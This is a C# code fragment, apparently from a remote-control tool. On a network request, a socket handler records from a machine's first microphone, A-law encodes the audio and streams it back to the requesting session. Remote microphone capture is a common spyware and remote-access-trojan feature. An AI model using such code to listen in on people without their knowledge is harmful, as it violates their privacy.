void m_pWaveIn_BufferFull(byte[] buffer)
{
ResponseStartCaptureAudio resp = new ResponseStartCaptureAudio();
resp.AudioData = G711.Encode_aLaw(buffer, 0, buffer.Length);
_session.Send(ePacketType.PACKET_START_CAPTURE_AUDIO_RESPONSE, resp);
}
public void Handle(SocketSession session, ePacketType reqType, object reqObj)
{
_session = session;
if (reqType == ePacketType.PACKET_STOP_CAPTURE_AUDIO_REQUEST)
{
//StopTest();
//return;
if (_waveIn != null)
{
_waveIn.Dispose();
_waveIn = null;
}
}
else if (reqType == ePacketType.PACKET_START_CAPTURE_AUDIO_REQUEST)
{
RequestStartCaptureAudio req = reqObj as RequestStartCaptureAudio;
ResponseStartCaptureAudio resp = new ResponseStartCaptureAudio();
try
{
if (_waveIn != null)
{
return;
}
//StartTest();
//return;
if (WaveIn.Devices.Length > 0)
{
_waveIn = new WaveIn(WaveIn.Devices[0], 8000, 16, 1, 400);
_waveIn.BufferFull += new BufferFullHandler(m_pWaveIn_BufferFull);
_waveIn.Start();
}
else
{
throw new Exception("未找到可用的音频设备");
}
}
catch (Exception ex)
{
resp.Result = false;
resp.Message = ex.ToString();
resp.Detail = ex.StackTrace.ToString();
session.Send(ePacketType.PACKET_START_CAPTURE_AUDIO_RESPONSE, resp);
}
}
}
